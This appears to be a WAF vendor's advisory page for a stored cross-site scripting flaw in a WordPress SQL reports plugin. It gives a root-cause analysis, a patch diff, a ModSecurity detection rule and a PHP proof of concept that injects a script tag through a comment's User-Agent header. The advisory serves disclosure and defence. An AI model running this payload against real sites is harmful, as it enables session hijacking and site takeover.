Published : November 22, 2026

CVE-2026-125039: EZ SQL Reports Shortcode Widget and DB Backup <= 5.26.45 Unauthenticated Stored Cross-Site Scripting via Comment User-Agent via sqlgetvar Shortcode PoC, Patch Analysis & Rule

Plugin elisqlreports
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.26.45
Patched Version 5.26.46
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-125039: This is an unauthenticated stored cross-site scripting vulnerability in the EZ SQL Reports Shortcode Widget and DB Backup plugin for WordPress, affecting all versions up to and including 5.26.45. The flaw resides in the sqlgetvar shortcode handler and allows an attacker to inject arbitrary JavaScript into the database, which is later rendered without escaping in an administrative report. CVSS score 7.2 reflects high impact and low attack complexity.

Root Cause: The vulnerability stems from improper output escaping in the ELISQLREPORTS_get_var() function, defined in elisqlreports/index.php around lines 984-989. The function returns the result of a SQL query directly to the shortcode output without sanitization. An attacker can control the comment_agent column of the wp_comments table by submitting a comment with a malicious User-Agent header. When an administrator creates a saved report that executes a query such as SELECT comment_agent FROM wp_comments WHERE comment_ID = X, the payload is stored in the database. The shortcode [sqlgetvar name=”report_slug”] then retrieves this data and outputs it unescaped, because the return statement simply returns $var or $wpdb->last_error with no escaping. The vulnerable code path includes the debug branch where $Report_SQL is echoed directly (line 452), and the main return paths for both error and success cases.

Exploitation: An unauthenticated attacker posts a comment to a WordPress site with a crafted User-Agent header containing a script payload, for example: alert(1). The comment_agent field stores this payload. If an administrator has saved a report whose SQL query selects comment_agent (e.g., SELECT comment_agent FROM wp_comments) and that report is published on a page via the [SQLREPORT] shortcode, then any visitor to that page will execute the injected script. The attacker only needs to know the report’s slug, which is trivial to discover if the page is public. Alternatively, an attacker might exploit the debug mode via GET parameter get_var=debug combined with a malicious SQL query if they can influence it, but the primary vector is through stored comment data.

Patch Analysis: The patch increments the plugin version to 5.26.46 and adds escaping to the vulnerable output points. In the debug echo at line 452, $Report_SQL is now wrapped in htmlspecialchars(). In the ELISQLREPORTS_get_var() function, the return values are now passed through wp_kses_post(), which sanitizes HTML content by allowing only a safe subset of tags and attributes. This prevents script execution by stripping malicious HTML and JavaScript. The patch does not address the input-side storage of the payload; it only fixes the output escaping, which is sufficient to block stored XSS because the script is neutralized when rendered.

Impact: If exploited, an attacker can execute arbitrary JavaScript in the context of an administrator’s session, leading to full site compromise, including creation of administrative accounts, installation of malicious plugins, data theft, or redirection to malicious sites. The vulnerability is unauthenticated and can affect any visitor to a page that includes the vulnerable shortcode, making it a serious threat to site integrity and user security.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/elisqlreports/index.php
+++ b/elisqlreports/index.php
@@ -5,7 +5,7 @@
 Author: Eli Scheetz
 Author URI: https://supersecurehosting.com/
 Description: Create and save SQL queries, run them from the Reports tab in your Admin, place them on the Dashboard for certain User Roles, or place them on Pages and Posts using the shortcode. And keep your database safe with scheduled backups.
-Version: 5.26.45
+Version: 5.26.46
 */
 foreach (array("plugins_url", "get_option", "add_filter", "add_action", "add_shortcode", "register_activation_hook") as $func)
 	if (!function_exists("$func"))
@@ -452,7 +452,7 @@
 	global $wp_roles;
 	$mt = microtime(true);
 	if (isset($_GET["dbug"])) {
-		echo 'Query started: '.$Report_SQL.' at '.$mt.' seconds.<br />';
+		echo 'Query started: '.htmlspecialchars($Report_SQL).' at '.$mt.' seconds.<br />';
 		ob_flush();
 	}
 	if (strlen(trim($GLOBALS["ELISQLREPORTS"]["Report_SQL"]))>0)
@@ -984,8 +984,8 @@
 			$var = "This SQL Query has not been allowed by an Administrator.";
 	}
 	if (isset($_GET["get_var"]) && ($_GET["get_var"] == "debug") && !$var && $wpdb->last_error)
-		return $wpdb->last_error;
+		return wp_kses_post($wpdb->last_error);
 	else
-		return $var;
+		return wp_kses_post($var);
 }
 add_shortcode("sqlgetvar", "ELISQLREPORTS_get_var");

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125039
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:2026125039,phase:2,deny,status:403,chain,msg:'CVE-2026-125039 via Comment User-Agent XSS',severity:'CRITICAL',tag:'CVE-2026-125039'"
  SecRule REQUEST_HEADERS:User-Agent "@rx (<script|%3Cscript|javascript:|onerror=|onload=)" "t:urlDecodeUni, t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125039 - EZ SQL Reports Shortcode Widget and DB Backup <= 5.26.45 - Unauthenticated Stored Cross-Site Scripting via Comment User-Agent via sqlgetvar Shortcode

$target_url = 'http://example.com'; // Change to target WordPress site
$report_slug = 'vulnerable-report'; // Slug of a saved report that selects comment_agent

// Step 1: Submit a comment with malicious User-Agent
$comment_data = array(
    'comment_post_ID' => 1,
    'comment' => 'Test comment for XSS',
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'submit' => 'Post Comment'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: <script>alert(document.cookie)</script>',
    'Content-Type: application/x-www-form-urlencoded'
));
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Trigger the stored XSS by visiting the page with the SQL report shortcode
// The page must contain [sqlgetvar name="$report_slug"] or [SQLREPORT name="$report_slug"]
$trigger_url = $target_url . '/?p=1'; // Assuming page ID 1 contains the shortcode

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $trigger_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
curl_close($ch);

// Check if the payload is reflected unescaped
echo "Checking for XSS payload in response...n";
if (strpos($output, '<script>alert(document.cookie)</script>') !== false) {
    echo "[SUCCESS] Vulnerability confirmed: XSS payload executed.n";
} else {
    echo "[INFO] Payload not found. Ensure the report slug is correct and the page uses the shortcode.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.